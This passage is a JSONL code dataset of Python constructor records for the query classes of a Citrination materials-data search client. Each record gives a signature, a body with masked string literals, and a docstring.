{"signature": "def __init__(self, query=None, extraction_sort=None, from_index=None, size=None, random_results=None,<EOL>random_seed=None, score_relevance=None, return_max_score=None, timeout=None, **kwargs):", "body": "super(BaseReturningQuery, self).__init__(query=query, extraction_sort=extraction_sort, **kwargs)<EOL>if '<STR_LIT>' in '<STR_LIT>':<EOL><INDENT>self.from_index = kwargs['<STR_LIT>']<EOL><DEDENT>self._from = None<EOL>self.from_index = from_index<EOL>self._size = None<EOL>self.size = size<EOL>self._random_results = None<EOL>self.random_results = random_results<EOL>self._random_seed = None<EOL>self.random_seed = random_seed<EOL>self._score_relevance = None<EOL>self.score_relevance = score_relevance<EOL>self._return_max_score = None<EOL>self.return_max_score = return_max_score<EOL>self._timeout = None<EOL>self.timeout = timeout<EOL>", "docstring": "Base class for all queries against datasets and the items that they contain on Citrination.\n\n:param query: One or more :class:`DataQuery` objects with the queries to run.\n:param extraction_sort: A single :class:`ExtractionSort` object for sorting.\n:param from_index: Index of the first hit that should be returned.\n:param size: Total number of hits the should be returned.\n:param random_results: Whether to return a random set of records.\n:param random_seed: The random seed to use.\n:param score_relevance: Whether to use relevance scoring.\n:param return_max_score: Whether to return the maximum score.\n:param timeout: The number of milliseconds to wait for the query to execute.", "id": "f3534:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, exists=None, equal=None, min=None, max=None, exact=None,<EOL>filter=None, **kwargs):", "body": "self._logic = None<EOL>self.logic = logic<EOL>self._weight = None<EOL>self.weight = weight<EOL>self._exists = None<EOL>self.exists = exists<EOL>self._equal = None<EOL>self.equal = equal<EOL>self._min = None<EOL>self.min = min<EOL>self._max = None<EOL>self.max = max<EOL>self._exact = None<EOL>self.exact = exact<EOL>self._filter = None<EOL>self.filter = filter<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight for the filter.\n:param exists: True/False to simply test whether the field exists and has a non-null value.\n:param equal: String with the phrase to match against.\n:param min: String with the minimum value of a range to match against.\n:param max: String with the maximum value of a range to match against.\n:param exact: True/False to set whether the \"equal\" filter should be an exact match.\n:param filter: List of :class:`Filter` objects with sub-filters.", "id": "f3535:c0:m0"}
{"signature": "def __init__(self, query=None, **kwargs):", "body": "self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param query: One or more :class:`DataQuery` objects with the queries to run.", "id": "f3536:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, dataset=None, system=None, file=None,<EOL>query=None, **kwargs):", "body": "self._logic = None<EOL>self.logic = logic<EOL>self._weight = None<EOL>self.weight = weight<EOL>self._simple = None<EOL>self.simple = simple<EOL>self._simple_weight = None<EOL>self.simple_weight = simple_weight<EOL>self._dataset = None<EOL>self.dataset = dataset<EOL>self._system = None<EOL>self.system = system<EOL>self._file = None<EOL>self.file = file<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: The logic to apply to the query ('SHOULD', 'MUST', 'MUST_NOT', or 'OPTIONAL').\n:param weight: Weight for the query.\n:param simple: String with the simple search to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param dataset: One or more :class:`DatasetQuery` objects with queries against dataset metadata.\n:param system: One or more :class:`PifSystemQuery` objects with queries against PIF systems\n:param file: One or more :class:`FileQuery` objects with queries against file content or metadata.\n:type file: :class:`FileQuery`\n:param query: Nested list of :class:`DataQuery` objects.", "id": "f3537:c0:m0"}
{"signature": "def __init__(self, queries=None, **kwargs):", "body": "self._queries = None<EOL>self.queries = queries<EOL>", "docstring": "Constructor.\n\n:param queries: One or more queries to run.", "id": "f3538:c0:m0"}
{"signature": "def __init__(self, took=None, total_num_hits=None, max_score=None, hits=None, **kwargs):", "body": "self._took = None<EOL>self.took = took<EOL>self._total_num_hits = None<EOL>self.total_num_hits = total_num_hits<EOL>self._max_score = None<EOL>self.max_score = max_score<EOL>self._hits = None<EOL>self.hits = hits<EOL>", "docstring": "Constructor.\n\n:param took: Number of milliseconds that the query took to execute.\n:param total_num_hits: Total number of hits.\n:param max_score: The maximum score.\n:param hits: List of hits.", "id": "f3539:c0:m0"}
{"signature": "def __init__(self, sort=None, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None,<EOL>extract_all=None, extract_when_missing=None, length=None, offset=None, filter=None, **kwargs):", "body": "super(ChemicalFieldQuery, self).__init__(<EOL>sort=sort, weight=weight, logic=logic, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, length=length, offset=offset, **kwargs)<EOL>self._filter = None<EOL>self.filter = filter<EOL>", "docstring": "Constructor.\n\n:param sort: ASCENDING or DESCENDING to set the sort order on this field.\n:param logic: Logic for this query. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight for the query.\n:param simple: String with the simple search to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param length: One or more :class:`FieldOperation` objects against the length field.\n:param offset: One or more :class:`FieldOperation` objects against the offset field.\n:param filter: One or more :class:`ChemicalFilter` objects against this field.", "id": "f3542:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None,<EOL>extract_all=None, extract_when_missing=None, tags=None, length=None, offset=None, element=None,<EOL>actual_weight_percent=None, actual_atomic_percent=None, ideal_weight_percent=None,<EOL>ideal_atomic_percent=None, query=None, **kwargs):", "body": "super(CompositionQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._element = None<EOL>self.element = element<EOL>self._actual_weight_percent = None<EOL>self.actual_weight_percent = actual_weight_percent<EOL>self._actual_atomic_percent = None<EOL>self.actual_atomic_percent = actual_atomic_percent<EOL>self._ideal_weight_percent = None<EOL>self.ideal_weight_percent = ideal_weight_percent<EOL>self._ideal_atomic_percent = None<EOL>self.ideal_atomic_percent = ideal_atomic_percent<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param element: One or more :class:`ChemicalFieldQuery` operations against the element field.\n:param actual_weight_percent: One or more :class:`FieldQuery` operations against the actual weight percent field.\n:param actual_atomic_percent: One or more :class:`FieldQuery` operations against the actual atomic percent field.\n:param ideal_weight_percent: One or more :class:`FieldQuery` operations against the ideal weight percent field.\n:param ideal_atomic_percent: One or more :class:`FieldQuery` operations against the ideal atomic percent field.\n:param query: One or more :class:`CompositionQuery` objects with the nest queries.", "id": "f3543:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, exists=None, equal=None, element=None, partial=None, exact=None,<EOL>filter=None, **kwargs):", "body": "self._logic = None<EOL>self.logic = logic<EOL>self._weight = None<EOL>self.weight = weight<EOL>self._exists = None<EOL>self.exists = exists<EOL>self._equal = None<EOL>self.equal = equal<EOL>self._element = None<EOL>self.element = element<EOL>self._partial = None<EOL>self.partial = partial<EOL>self._exact = None<EOL>self.exact = exact<EOL>self._filter = None<EOL>self.filter = filter<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight for the query.\n:param exists: True/False to simply test whether the field exists and has a non-null value.\n:param equal: String with the phrase to match against.\n:param element: True to match against the single element field.\n:param partial: True to match against the partial formula field.\n:param exact: True if matches should be exact.\n:param filter: List of :class:`ChemicalFilter` objects with sub-filters.", "id": "f3544:c0:m0"}
{"signature": "def __init__(self, key=None, order=None, **kwargs):", "body": "self._key = None<EOL>self.key = key<EOL>self._order = None<EOL>self.order = order<EOL>", "docstring": "Constructor.\n\n:param key: String with the key that will be sorted on.\n:param order: The order to use. Either ASCENDING or DESCENDING.", "id": "f3545:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, conditions=None, data_type=None,<EOL>name=None, value=None, file=None, units=None, references=None, query=None, **kwargs):", "body": "super(PropertyQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, name=name, value=value, file=file, units=units, **kwargs)<EOL>self._conditions = None<EOL>self.conditions = conditions<EOL>self._data_type = None<EOL>self.data_type = data_type<EOL>self._references = None<EOL>self.references = references<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param conditions: One or more :class:`ValueQuery` operations against the conditions.\n:param data_type: One or more :class:`FieldQuery` operations against the dataType field.\n:param name: One or more :class:`FieldQuery` operations against the name field.\n:param value: One or more :class:`FieldQuery` operations against the value.\n:param file: One or more :class:`FileReferenceQuery` operations against the file.\n:param units: One or more :class:`FieldQuery` operations against the units field.\n:param references: One or more :class:`ReferenceQuery` operations against the references field.\n:param query: One or more :class:`PropertyQuery` objects with nested queries.", "id": "f3546:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, given=None, family=None,<EOL>title=None, suffix=None, query=None, **kwargs):", "body": "super(NameQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._given = None<EOL>self.given = given<EOL>self._family = None<EOL>self.family = family<EOL>self._title = None<EOL>self.title = title<EOL>self._suffix = None<EOL>self.suffix = suffix<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param given: One or more :class:`FieldQuery` operations against the given name field.\n:param family: One or more :class:`FieldQuery` operations against the family name field.\n:param title: One or more :class:`FieldQuery` operations against the title field.\n:param suffix: One or more :class:`FieldQuery` operations against the suffix field.\n:param query: One or more :class:`NameQuery` objects with nested queries.", "id": "f3547:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, name=None, value=None,<EOL>query=None, **kwargs):", "body": "super(ClassificationQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._name = None<EOL>self.name = name<EOL>self._value = None<EOL>self.value = value<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param name: One or more :class:`FieldQuery` operations against the name field.\n:param value: One or more :class:`FieldQuery` operations against the value field.\n:param query: One or more :class:`ClassificationQuery` objects for nested queries.", "id": "f3548:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, relative_path=None,<EOL>mime_type=None, sha256=None, md5=None, query=None, **kwargs):", "body": "super(FileReferenceQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._relative_path = None<EOL>self.relative_path = relative_path<EOL>self._mime_type = None<EOL>self.mime_type = mime_type<EOL>self._sha256 = None<EOL>self.sha256 = sha256<EOL>self._md5 = None<EOL>self.md5 = md5<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param relative_path: One or more :class:`FieldQuery` operations against the relative path field.\n:param mime_type: One or more :class:`FieldQuery` operations against the mime type field.\n:param sha256: One or more :class:`FieldQuery` operations against the sha256 field.\n:param md5: One or more :class:`FieldQuery` operations against the md5 field.\n:param query: One or more :class:`FileReferenceQuery` objects as nested queries.", "id": "f3549:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, name=None, value=None,<EOL>query=None, **kwargs):", "body": "super(IdQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._name = None<EOL>self.name = name<EOL>self._value = None<EOL>self.value = value<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the query to run over all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param name: One or more :class:`FieldQuery` operations against the name field.\n:param value: One or more :class:`FieldQuery` operations against the value field.\n:param query: One or more :class:`IdQuery` objects with nested queries.", "id": "f3550:c0:m0"}
{"signature": "def __init__(self, sort=None, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None,<EOL>extract_all=None, extract_when_missing=None, length=None, offset=None, **kwargs):", "body": "self._sort = None<EOL>self.sort = sort<EOL>self._logic = None<EOL>self.logic = logic<EOL>self._weight = None<EOL>self.weight = weight<EOL>self._simple = None<EOL>self.simple = simple<EOL>self._simple_weight = None<EOL>self.simple_weight = simple_weight<EOL>self._extract_as = None<EOL>self.extract_as = extract_as<EOL>self._extract_all = None<EOL>self.extract_all = extract_all<EOL>self._extract_when_missing = None<EOL>self.extract_when_missing = extract_when_missing<EOL>self._length = None<EOL>self.length = length<EOL>self._offset = None<EOL>self.offset = offset<EOL>", "docstring": "Constructor.\n\n:param sort: ASCENDING or DESCENDING to set the sort order on this field.\n:param logic: Logic for this query. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight for the query.\n:param simple: String with the simple search to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.", "id": "f3551:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, name=None, value=None,<EOL>file=None, units=None, query=None, **kwargs):", "body": "super(ValueQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._name = None<EOL>self.name = name<EOL>self._value = None<EOL>self.value = value<EOL>self._file = None<EOL>self.file = file<EOL>self._units = None<EOL>self.units = units<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param name: One or more :class:`FieldQuery` operations against the name field.\n:param value: One or more :class:`FieldQuery` operations against the value.\n:param file: One or more :class:`FileReferenceQuery` operations against the file.\n:param units: One or more :class:`FieldQuery` operations against the units field.\n:param query: One or more :class:`ValueQuery` objects with nested queries.", "id": "f3552:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None,  tags=None, length=None, offset=None, name=None, details=None,<EOL>query=None, **kwargs):", "body": "super(ProcessStepQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._name = None<EOL>self.name = name<EOL>self._details = None<EOL>self.details = details<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param name: One or more :class:`FieldQuery` operations against the name field.\n:param details: One or more :class:`ValueQuery` operations against the details of the step.\n:param query: One or more :class:`ProcessStepQuery` objects with nested queries.", "id": "f3553:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, number=None, title=None,<EOL>caption=None, query=None, **kwargs):", "body": "super(DisplayItemQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._title = None<EOL>self.title = title<EOL>self._number = None<EOL>self.number = number<EOL>self._caption = None<EOL>self.caption = caption<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param number: One or more :class:`FieldQuery` operations against the number field.\n:param title: One or more :class:`FieldQuery` operations against the title field.\n:param caption: One or more :class:`FieldQuery` operations against the caption field.\n:param query: One or more :class:`DisplayItemQuery` objects as nested queries.", "id": "f3554:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, actual_mass_percent=None,<EOL>actual_volume_percent=None, actual_number_percent=None, ideal_mass_percent=None,<EOL>ideal_volume_percent=None, ideal_number_percent=None, query=None, **kwargs):", "body": "super(QuantityQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._actual_mass_percent = None<EOL>self.actual_mass_percent = actual_mass_percent<EOL>self._actual_volume_percent = None<EOL>self.actual_volume_percent = actual_volume_percent<EOL>self._actual_number_percent = None<EOL>self.actual_number_percent = actual_number_percent<EOL>self._ideal_mass_percent = None<EOL>self.ideal_mass_percent = ideal_mass_percent<EOL>self._ideal_volume_percent = None<EOL>self.ideal_volume_percent = ideal_volume_percent<EOL>self._ideal_number_percent = None<EOL>self.ideal_number_percent = ideal_number_percent<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param actual_mass_percent: One or more :class:`FieldQuery` operations against the actual mass percent field.\n:param actual_volume_percent: One or more :class:`FieldQuery` operations against the actual volume percent field.\n:param actual_number_percent: One or more :class:`FieldQuery` operations against the actual number percent field.\n:param ideal_mass_percent: One or more :class:`FieldQuery` operations against the ideal mass percent field.\n:param ideal_volume_percent: One or more :class:`FieldQuery` operations against the ideal volume percent field.\n:param ideal_number_percent: One or more :class:`FieldQuery` operations against the ideal number percent field.\n:param query: One or more :class:`QuantityQuery` objects with nested queries.", "id": "f3555:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, producer=None, url=None,<EOL>query=None, **kwargs):", "body": "super(SourceQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._producer = None<EOL>self.producer = producer<EOL>self._url = None<EOL>self.url = url<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param producer: One or more :class:`FieldQuery` operations against the producer field.\n:param url: One or more :class:`FieldQuery` operations against the url field.\n:param query: One or more :class:`SourceQuery` objects with nested queries.", "id": "f3556:c0:m0"}
{"signature": "def __init__(self, logic=None, weight=None, simple=None, simple_weight=None, extract_as=None, extract_all=None,<EOL>extract_when_missing=None, tags=None, length=None, offset=None, doi=None, isbn=None, issn=None,<EOL>url=None, title=None, publisher=None, journal=None, volume=None, issue=None, year=None,<EOL>figure=None, table=None, pages=None, authors=None, editors=None, affiliations=None,<EOL>acknowledgements=None, references=None, query=None, **kwargs):", "body": "super(ReferenceQuery, self).__init__(<EOL>logic=logic, weight=weight, simple=simple, simple_weight=simple_weight, extract_as=extract_as,<EOL>extract_all=extract_all, extract_when_missing=extract_when_missing, tags=tags, length=length,<EOL>offset=offset, **kwargs)<EOL>self._doi = None<EOL>self.doi = doi<EOL>self._isbn = None<EOL>self.isbn = isbn<EOL>self._issn = None<EOL>self.issn = issn<EOL>self._url = None<EOL>self.url = url<EOL>self._title = None<EOL>self.title = title<EOL>self._publisher = None<EOL>self.publisher = publisher<EOL>self._journal = None<EOL>self.journal = journal<EOL>self._volume = None<EOL>self.volume = volume<EOL>self._issue = None<EOL>self.issue = issue<EOL>self._year = None<EOL>self.year = year<EOL>self._figure = None<EOL>self.figure = figure<EOL>self._table = None<EOL>self.table = table<EOL>self._pages = None<EOL>self.pages = pages<EOL>self._authors = None<EOL>self.authors = authors<EOL>self._editors = None<EOL>self.editors = editors<EOL>self._affiliations = None<EOL>self.affiliations = affiliations<EOL>self._acknowledgements = None<EOL>self.acknowledgements = acknowledgements<EOL>self._references = None<EOL>self.references = references<EOL>self._query = None<EOL>self.query = query<EOL>", "docstring": "Constructor.\n\n:param logic: Logic for this filter. Must be equal to one of \"MUST\", \"MUST_NOT\", \"SHOULD\", or \"OPTIONAL\".\n:param weight: Weight of the query.\n:param simple: String with the simple query to run against all fields.\n:param simple_weight: Dictionary of relative paths to their weights for simple queries.\n:param extract_as: String with the alias to save this field under.\n:param extract_all: Boolean setting whether all values in an array should be extracted.\n:param extract_when_missing: Any valid JSON-supported object or PIF object. This value is returned when a value is missing that should be extracted (and the overall query is still satisfied).\n:param tags: One or more :class:`FieldQuery` operations against the tags field.\n:param length: One or more :class:`FieldQuery` operations against the length field.\n:param offset: One or more :class:`FieldQuery` operations against the offset field.\n:param doi: One or more :class:`FieldQuery` operations against the doi field.\n:param isbn: One or more :class:`FieldQuery` operations against the isbn field.\n:param issn: One or more :class:`FieldQuery` operations against the issn field.\n:param url: One or more :class:`FieldQuery` operations against the url field.\n:param title: One or more :class:`FieldQuery` operations against the title field.\n:param publisher: One or more :class:`FieldQuery` operations against the publisher field.\n:param journal: One or more :class:`FieldQuery` operations against the journal field.\n:param volume: One or more :class:`FieldQuery` operations against the volume field.\n:param issue: One or more :class:`FieldQuery` operations against the issue field.\n:param year: One or more :class:`FieldQuery` operations against the year field.\n:param figure: One or more :class:`DisplayItemQuery` operations against the figure field.\n:param table: One or more :class:`DisplayItemQuery` operations against the table field.\n:param pages: One or more :class:`PagesQuery` operations against the pages field.\n:param authors: One or more :class:`NameQuery` operations against the 